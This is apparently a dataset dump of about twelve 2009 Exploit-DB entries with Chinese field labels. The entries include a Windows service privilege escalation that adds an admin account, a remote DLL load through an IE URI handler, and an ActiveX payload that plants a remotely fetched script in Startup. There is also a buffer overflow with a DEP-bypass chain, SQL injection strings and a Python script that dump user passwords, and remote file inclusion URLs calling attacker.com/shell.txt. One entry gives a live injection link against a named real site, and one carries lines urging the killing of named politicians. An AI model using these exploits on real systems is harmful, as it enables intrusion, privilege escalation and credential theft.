QLWD/code_shield huggingface dataset:
标题: Adobe Photoshop Elements 8.0 - Active File Monitor Privilege Escalation EDB-ID: 9807 CVE: 2009-3489 类型: LOCAL 平台: WINDOWS 发布日期: 2009-09-29 漏洞利用脚本: Adobe Photoshop Elements 8.0 Active File Monitor Service Bad Security Descriptor Local Elevation Of Privileges
by Nine:Situations:Group::bellick
site: http://retrogod.altervista.org/

Tested on Microsoft Windows XP SP3

The "Adobe Active File Monitor V8" service is installed with an improper security descriptor.
A malicious user of the Users group (which on xp means a "limited account") can stop the service,
then invoke the "sc config" command to replace the binary path with a value of choice, then restart
the service to run the command with SYSTEM privileges ex., run theese commands as a limited user:

sc stop "AdobeActiveFileMonitor8.0"
sc config "AdobeActiveFileMonitor8.0" binPath= "cmd /c net user adobe kills /add && net localgroup Administrators adobe /add"
sc start "AdobeActiveFileMonitor8.0"
runas /noprofile /user:%COMPUTERNAME%\adobe cmd

now login as administrator with password "kills"

mitigation:

the security descriptor of the service is like this:

C:\>sc sdshow "AdobeActiveFileMonitor8.0"

D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

note the WO and WD permission for Everyone (!!!!!)

change the security descriptor like the following:

c:\sc sdset "AdobeActiveFileMonitor8.0" D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY)
[SC] SetServiceObjectSecurity SUCCESS

readings, interesting article:
http://msmvps.com/blogs/erikr/archive/2007/09/26/set-permissions-on-a-specific-service-windows.aspx URL: https://www.exploit-db.com/exploits/9807
标题: IBM Installation Manager 1.3.0 - 'iim://' URI handler EDB-ID: 9802 CVE: 2009-3518 类型: REMOTE 平台: WINDOWS 发布日期: 2009-09-29 漏洞利用脚本: <!--
IBM Installation Manager <= 1.3.0 iim:// uri handler remote code execution exploit - IE
by nine:situations:group::bruiser
site: http://retrogod.altervista.org/

vulnerable:
IBM Rational Robot
IBM Rational Team Concert
possibly all Rational products, not Rational Appscan I see

download location: http://www14.software.ibm.com/webapp/download/byproduct.jsp?pgel=ibmhzn1&cm_re=masthead-_-supdl-_-dl-trials
info: http://www-01.ibm.com/software/rational/installmgr/faq.html

bug:
through Internet Explorer is possible to specify extra command line arguments, ex.
the -vm argument for the IBMIM.exe executable, which will load an arbitrary dll
from an external network share, change the path to your own library with some code
in the entry point
-->

<iframe src='iim://"%20-vm%20\\192.168.0.1\uncshare\sh.dll%20-url%20"'></iframe> URL: https://www.exploit-db.com/exploits/9802
标题: HP LoadRunner 9.5 - Remote file creation (PoC) EDB-ID: 9806 CVE: 2009-3693 类型: DOS 平台: WINDOWS 发布日期: 2009-09-29 漏洞利用脚本: <!--
HP LoadRunner 9.5 Persits.XUpload.2 control (XUpload.ocx) MakeHttpRequest() remote file creation poc
(IE 8)
by Nine:Situations:Group::pyrokinesis

CLSID: {E87F6C8E-16C0-11D3-BEF7-009027438003}
Progid: Persits.XUpload.2
Binary Path: C:\Programmi\HP\LoadRunner\bin\XUpload.ocx
KillBitted: False
Implements IObjectSafety: True
Safe For Initialization (IObjectSafety): True
Safe For Scripting (IObjectSafety): True
-->
<html>
<object classid='clsid:E87F6C8E-16C0-11D3-BEF7-009027438003' id='XUPLOADLib' />
</object>
<script language='vbscript'>

' http://retrogod.altervista.org/sh_9232.txt , a batch script that starts calc.exe
XUPLOADLib.Server = "retrogod.altervista.org"
XUPLOADLib.Script = "sh_9232.txt"

' place it in the Startup folder, italian path, change for your os
Method=""
Params=""
Path="..\\..\\..\\Documents and Settings\All Users.WINDOWS\Menu Avvio\Programmi\Esecuzione automatica\\sh.cmd"
UserAgent=""
Headers=""
XUPLOADLib.MakeHttpRequest Method ,Params ,Path ,UserAgent ,Headers
</script> URL: https://www.exploit-db.com/exploits/9806
标题: Serv-U Web Client 9.0.0.5 - Remote Buffer Overflow (2) EDB-ID: 9800 CVE: 2009-4873 类型: REMOTE 平台: WINDOWS 发布日期: 2009-11-05 漏洞利用脚本: /*
    !!!FOR EDUCATIONAL USE ONLY!!!
     M.Yanagishita    Nov 2, 2009
    !!!FOR EDUCATIONAL USE ONLY!!!
*/
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32")

#define Die(a) if(a){return;}

char request[] = 
"POST / HTTP/1.1\r\nHost: %s\r\nCookie: killmenothing; SULang=de%%2CDE; themename=vista;"
" Session=_d838591b3a6257b0111138e6ca76c2c2409fb287b1473aa463db7f202caa09361bd7f8948c8d1adf4bd4f6c1c198eb9507545814%s\r\n"
"Content-Type: multipart/form-data; boundary=---------------------------25249352331758\r\nContent-Length: 0\r\n\r\n";

void main(int argc, char **argv)
{
 WSADATA wsaData;
 SOCKET s;
 struct hostent *he;
 struct sockaddr_in host;
 int len, sent, r;
 char *buf = new char[120000];
 char *payload = new char[100000];

 Die(argc<3);
 Die(WSAStartup(0x0101,&wsaData) != 0);
 Die((he = gethostbyname(argv[1])) == 0);

 host.sin_port = htons(atoi(argv[2]));
 host.sin_family = AF_INET;
 host.sin_addr = *((struct in_addr *)he->h_addr);

 Die((s = socket(2, 1, 6)) == -1);
 Die((connect(s, (struct sockaddr *) &host, sizeof(host))) == -1);
 
 
 memset(payload, 'C', 99999);
 memcpy(payload+(41000-62)*2+20, "4928b00f", 8); //add esp, 0x??? + ret

 //Bypass DEP in Win2k3 R2 SP2 Full Patched
 memcpy(payload +  0, "961ea378", 8);  //[mfc90u.dll]  pop esi + ret
 memcpy(payload +  8, "00020100", 8);  //esi <= 00010200 RW
 memcpy(payload + 16, "99aea478", 8);  //[mfc90u.dll]  push esp + pop ebp + ret 0c
 memcpy(payload + 24, "87e9a378", 8);  //[mfc90u.dll]  ret 20
 memcpy(payload + 32, "53c7b278", 8);  //[mfc90u.dll]  jmp esp
 memcpy(payload + 40, "47f5837c", 8);  //[ntdll.dll]   disable DEP, 0x7c98f547 for JP Win2k3

 //Shellcode here :>
 memcpy(payload+48, "ebfe", 4);

 payload[99999]=0;
 sprintf(buf, request, argv[1], payload);

 len = strlen(buf);
 sent = 0;
 r = send(s, buf, len, 0);
 sent += r;
 while(sent < len)
 {
  r = send(s, buf+sent, len-sent, 0);
  Die(r <= 0);
  sent += r;
 }
 closesocket(s);

} URL: https://www.exploit-db.com/exploits/9800
标题: XM Easy Personal FTP Server 5.8.0 - Denial of Service (Metasploit) EDB-ID: 9804 CVE: 2009-3643 类型: DOS 平台: WINDOWS 发布日期: 2009-11-10 漏洞利用脚本: # Exploit Title: XM Easy Personal FTP Server LIST DoS (Meta)
# Date: 4/17/2010
# Author: Jeremiah Talamantes
# Software Link: http://www.dxm2008.com/data/ftpserversetup.exe
# Version: 5.8.0
# Tested on: Windows XP, SP2
# CVE : N/A
# Code : http://www.redteamsecure.com/assets/company/exploits/xmftp/xmexploit.p

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/ 
##

##
# xmeasy580_list.rb
#
# XM Easy Personal FTP Server 5.8.0 LIST DoS
#
# Tested on: Windows XP, SP2 (EN)
#
# Date tested: 4/17/2010
#
# First you must login to the FTP server in order to execute the DoS
# attack. This module exploits a weakness in the LIST command.
#
# Discovered by: Jeremiah Talamantes
# RedTeam Security
# http://www.redteamsecure.com
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

 include Msf::Exploit::Remote::Ftp
 include Msf::Auxiliary::Dos
 
 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'XM Easy Personal FTP Server 5.8.0 LIST DoS',
   'Description'    => %q{
    This module exploits a DoS vulnerability in the LIST command
    in XM Easy Personal FTP Server 5.8.0. In order to execute this
    exploit, you must first login to the FTP server. This was only
    tested on Windows XP, SP2 (EN).
   },
   'Author'         => 'Jeremiah Talamantes (RedTeam Security)',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 1234 $',
   'References'     => [
    [ 'URL', 'None' ]
   ],
   'DisclosureDate' => 'Apr 17 2010')
  )

  # Required settings
  register_options([
   OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]),
   OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ])
  ])
 end

 def run
  return unless connect_login

  raw_send("LIST \r\n")
  
  disconnect

  print_status("Check to see if the server is responding...")
 end
end URL: https://www.exploit-db.com/exploits/9804
标题: WX Guestbook 1.1.208 - SQL Injection / Persistent Cross-Site Scripting EDB-ID: 9730 CVE: 2009-3328 2009-3327 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-09-21 漏洞利用脚本: ###########################################
# WX Guest Book 1.1.208 Vulns   #
# By learn3r hacker from nepal   #
# damagicalhacker@gmail.com   #
###########################################

Product name: WX Guestbook 1.1.208
Product vendor: www.webilix.com

This product suffers from multiple SQLi and persistent XSS vuln.

##############  SQL Search Vuln  ###############

The search parameters/queries we submit to the search.php are unsanitized and hence this can be compromised to SQLinject the server.

SQL query:
$signs = DB_Execute("SELECT * FROM `wxgb_signs` WHERE (`sign` LIKE '%" . $QUERY . "%') ORDER BY `code` DESC");

The $QUERY is what we submit through search box so injecting this will sql inject the server.
The following is the sample sql injection example.


Sample search string: test%') UNION ALL SELECT 1,2,concat(@@version,0x3a,user(),database()),4,5,6,7,8,9,10,11,12/*

##############  SQL login bypass  ###############
The username and password fields are unsanitized and hence we can bypass the login systems.

Username: admin'))/*
Password: learn3r  [or whatever]

Or

Username: ')) or 1=1/*
Password: learn3r  [or whatever]

##############  Persistent XSS Vulns  ##############

In the name field (I suppose as I don't understand arabic), you can inject XSS...
<script>alert(String.fromCharCode(97));</script>
<script>location.replace("http://www.nepalihackerz.com.np")</script>

Greetz to: sToRm and m0nkee from #gny, sam207 from www.sampctricks.blogspot.com, nepali boka, l@d0_put! HaCKeR and all...
FuCK MaKuNe, G!r!ja, Prachanda and all political leaders of Nepal
K!ll Parmananda Jha, Upendra Yadav and Vijay Gachhedhaar

By learn3r aka cyb3r lord
Nepali Hackerz Are Not Dead!!!

# milw0rm.com [2009-09-21] URL: https://www.exploit-db.com/exploits/9730
标题: Joomla! Component com_jinc 0.2 - 'newsid' Blind SQL Injection EDB-ID: 9732 CVE: 2009-3334 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-09-21 漏洞利用脚本: ---------------------------------------------------------------------------------
joomla component com_jinc (newsid) Blind SQL Injection Vulnerability
---------------------------------------------------------------------------------

Author          : Chip D3 Bi0s
Group           : LatiHackTeam
Email           : chipdebios[alt+64]gmail.com
Date            : 21 September 2009
Critical Lvl    : Moderate
Impact         : Exposure of sensitive information
Where         : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application     : JINC (Joomla! Integrated Newsletters Component)
version         : 0.2
Developer       : lhacky
License         : GPL            type  : Non-Commercial
Date Added      : 2 September 2009
Demo            : http://www.lhacky.org/jextensions/index.php?option=com_content&view=article&id=18:how-to-use&catid=12:jinc-documentation&Itemid=28

Download        : http://www.lhacky.org/jextensions/index.php?option=com_content&view=article&id=3&Itemid=15

Description     :

JINC (Joomla! Integrated Newsletters Component) is a easy-to-use and administer newsletter component for Joomla!.
Using JINC your website users can auto-subscribe and unsubscribe to newsletters you defined.

JINC includes classical newsletter functionalities

* Newsletter, messages and subscription management.
* TAG substitution inside the messages body.
* User auto-registration with welcome message at subscription time.
* Newsletter Disclaimer.
* HTML and Text Plain messages.
* Massive or personalized messages.
* Reports on message sending.
* Subscription creating user "on the fly".
* Message preview to message creator before sending to the newsletter subscribers


---------------------------------------------------------------------------


I.Blind SQL injection (newsid) Poc/Exploit:
~~~~~~~~~
http://127.0.0.1/[path]/index.php?option=com_jinc&view=messages&newsid=1[blind]


To make, you must be registered

+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2009-09-21] URL: https://www.exploit-db.com/exploits/9732
标题: CMScontrol (Content Management Portal Solutions) - SQL Injection EDB-ID: 9727 CVE: 2009-3326 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-09-21 漏洞利用脚本: #=Info=======================================================================#
# Software: CMScontrol (Content Management Portal Solutions)  Sql Injection  #
# Version: 7.*                                                               #
# Vulnerability: Remote Sql Injection                                        #
# Google Dork: "index.php?id_menu=" CMScontrol                               # 
# Off. site: www.cmscontrol.com                                              #
#============================================================================#


#=Author==============================================#
# Author: ph1l1ster                                   #  
# Date: 20.09.2009                                    #
# Contact: icq: 612672 | email: ph1l1st3r@gmail.com   #
#=====================================================#


#=Sql Injection===========================================================================================================================================================#
# Exploit: http://site/index.php?id_menu=82+and+1=0+union+select+unhex(hex(1)),unhex(hex(concat_ws(0x3a,user,password))),unhex(hex(3))+from+users--                #
# Live demo: http://www.galsi.it/index.php?id_menu=99999+and+1=0+union+select+unhex(hex(1)),unhex(hex(concat_ws(0x3a,user,password))),unhex(hex(3))+from+users--   #
# Login page: http://site/admin/login.php                                                                                                                          #
#==================================================================================================================================================================#




#=Greetz================================#
# mr.gr33n aka mr.Br0wn, easy-, Micr0b  #
# 0wners Team and all milw0rm team      #
# CW.WS and all CW team                 #
# All Russian and other h4x0r5          #
#=======================================#

# milw0rm.com [2009-09-21] URL: https://www.exploit-db.com/exploits/9727
标题: cP Creator 2.7.1 - SQL Injection EDB-ID: 9726 CVE: 2009-3330 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-09-21 漏洞利用脚本: #!/usr/bin/python
#####################################################################################
####                  cP Creator v2.7.1 Remote Sql Injection                     ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : http://IrCrash.com  -> (Coming Soon Again)                              #
#My Official WebSite : http://R3dW0rm.ir                                            #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr)            #
#####################################################################################
#                                                                                   #
#Download : http://www.cpcreator.net                                                #
#                                                                                   #
#Dork : Powered by cP Creator v2.7.1                                                #
#                                                                                   #
#*** Magic Quotes gpc = Off ***                                                     #
#                                                                                   #
###################################### TNX GOD ######################################
import sys,httplib
p = ''
if len(sys.argv) < 3 :
    print "\nPowered by : R3d.W0rm"
    print "Http://IrCrash.Com - Http://R3dW0rm.Ir"
    print "Usage : code.py [host] /[path]"
    exit()
co = {"Cookie": "tickets=-999' union select 0,concat(0x265E21402A,user,0x3A,pass,0x265E21402A),2,3,4,5,6,7,8 from cp_staff/*;"}
c = httplib.HTTPConnection(sys.argv[1],80)
c.request("GET", "/" + sys.argv[2] + "/?page=support&task=ticket", p, co)
data = c.getresponse().read()
if "&^!@*" not in data :
    print "Attack Failed ."
    exit()
output = data.split("&^!@*")
print "\n+-------------------------------------+"
print "\nPowered by : R3d.W0rm"
print "Http://IrCrash.Com - Http://R3dW0rm.Ir\n"
print "+-------------------------------------+"
print "\n " + output[1]

# milw0rm.com [2009-09-21] URL: https://www.exploit-db.com/exploits/9726
标题: FanUpdate 2.2.1 - 'show-cat.php' SQL Injection EDB-ID: 9719 CVE: 2009-3308 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-09-18 漏洞利用脚本: Author : (In)Security Romania

Website : https://insecurity.ro

Vulnerable script : FanUpdate 2.2.1


- Explanation

See show-cat.php file

-----------------------------------------------------------------------------------------------
if (!isset($listingid)) { exit; }

require_once('blog-config.php');
require_once('functions.php');

$fu =& FanUpdate::instance();
$fu->addOptFromDb();

$query = "SELECT * FROM ".$fu->getOpt('catoptions_table')." WHERE cat_id=$listingid LIMIT 1";
-----------------------------------------------------------------------------------------------

listingid variable not checked,we can inject our maliciouse SQL code.

- PoC

http://website/script/show-cat.php?listingid=nuLL/*pwned*/uNiOn+aLL+seLeCt+0,0,coNcAt_ws(0x3a,user,0x3a,password),coNcAt_ws(0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,version()),0,0+frOm+mysql.user--

# milw0rm.com [2009-09-18] URL: https://www.exploit-db.com/exploits/9719
标题: BAnner ROtation System mini - Multiple Remote File Inclusions EDB-ID: 9724 CVE: 2009-3323 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-09-21 漏洞利用脚本: +  BAROSmini - BAnner ROtation System mini Multiple Remote File Inclusion Vulnerability  +
                           

[@]======================================================================================================[@]
[+] Author    : EA Ngel          [+]
[+] Location      : Manado - Indonesia                       [+]
[+] Situs            : www[dot]manadocoding[dot]net            [+]     
[+] Contact          : engelpemula[at]gmail[dot]com        [+]
[+] Download Script  : http://sourceforge.net/projects/barosmini/         [+] 
[@]======================================================================================================[@]


[@]======================================================================================================[@]
[+] 3xpl0it   : http://127.0.0.1/include/common_functions.php?baros_path=[webshell.txt?]      [+]
[+]                        http://127.0.0.1/include/lib/lib_users.php?main_path=[webshell.txt?]          [+]
[+]                        http://127.0.0.1/include/lib/lib_stats.php?main_path=[webshell.txt?]          [+]
[+]                        http://127.0.0.1/include/lib/lib_slots.php?main_path=[webshell.txt?]          [+]
[@]======================================================================================================[@]



[@]======================================================================================================[@]
[+] Sp3ci4l Th4nks    : str0ke > basix > cr4wl3r > kamuiclone > Mr.C > steve_duma > cokiki > cyberlog [+] 
[+]                        arie_capedeh > doniskynet > rezagmas > g4pt3k > my_wisdom > hmei7 > k3nz0     [+]
[+]             wishnu > bl4ck_3n91n3 > Mr.Crossbeam > kiddies > yadiyauri > zpy > moon_lee   [+]
[+]             c6 > and friends                                                              [+]
[@]======================================================================================================[@]



[@]======================================================================================================[@]
[+] Greetz t00   : All Crew ManadoCoding [manadocoding.net]                                      [+]          
[+]                                                                                               [+]
[+]                        All Crew SekuritiOnline [sekuritionline.net]      [+]
[@]======================================================================================================[@]


  
                                       [+] GOD BLESS ALL [+]

# milw0rm.com [2009-09-21] URL: https://www.exploit-db.com/exploits/9724
标题: Loggix Project 9.4.5 - Multiple Remote File Inclusions EDB-ID: 9729 CVE: 2009-3492 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-09-21 漏洞利用脚本: #######################[In The Name Of Allah]##########################
#Loggix Project <= 9.4.5 Multiple Remote File Include Vulnerability
#Download Script      :  http://sourceforge.net/projects/loggix/files/
#Author               :  cr4wl3r 
#Contact              :  cr4wl3r[4t]linuxmail[dot]org 
#Location             :  Gorontalo - INDONESIA
#Blog                 :  http://sh3ll4u.blogspot.com
#Dork                 :  No DoRk f0R ScRipT KiDDieS
########################################################################
#file :
#  Calendar.php
#  Comment.php
#  Rss.php
#  Trackback.php
#  LM_Downloads.php
########################################################################
#Bugs :
#  require_once $pathToIndex . '/lib/Loggix/Module.php';
########################################################################
#3xplo!t :
#http://target.com/[path]/lib/Loggix/Module/Calendar.php?pathToIndex=http://attacker.com/shell.txt???
#http://target.com/[path]/lib/Loggix/Module/Comment.php?pathToIndex=http://attacker.com/shell.txt???
#http://target.com/[path]/lib/Loggix/Module/Rss.php?pathToIndex=http://attacker.com/shell.txt???
#http://target.com/[path]/lib/Loggix/Module/Trackback.php?pathToIndex=http://attacker.com/shell.txt???  
#http://target.com/[path]/modules/downloads/lib/LM_Downloads.php?pathToIndex=http://attacker.com/shell.txt???
########################################################################
#Greetz          : MyMom [alm]
#Special Thanks  : str0ke, All MusLim HacKers
#Thanks 2        : opt!x hacker, xoron, irvian, cyberlog, EA ngel, bl4ck_3ng1n3, Hmei7, zvtral, s4va,
#                  mywisdom, wendys, cyberpeace, agenr@t, basix, nTc, angky.tatoki, funky_sensey, exnome,
#                  aRiee, Romy.Chairul, Mr.C, Mr.Crossbeam, noQen, CyberSufi, untouch, g4pt3k, chawanua,
#                  d3vilnet, donyskaynet, panteto, MaRloN, Dew0
########################################################################
# F0r All MusLim In tHe W0rlD :
# SelaMat IduL FitRi 1 SyaWaL 1430H
# Takabbalallah Huminnawaminkum Minalaidin Walfaizin
########################################################################
#Note : No fuCk, JusT PeaCe
########################################################################
#sekuritionline.net (all crew sekuritionline)
#manadocoding.net (all crew manadocoding)
###########################[VIVA ISLAM]#################################

# milw0rm.com [2009-09-21] URL: https://www.exploit-db.com/exploits/9729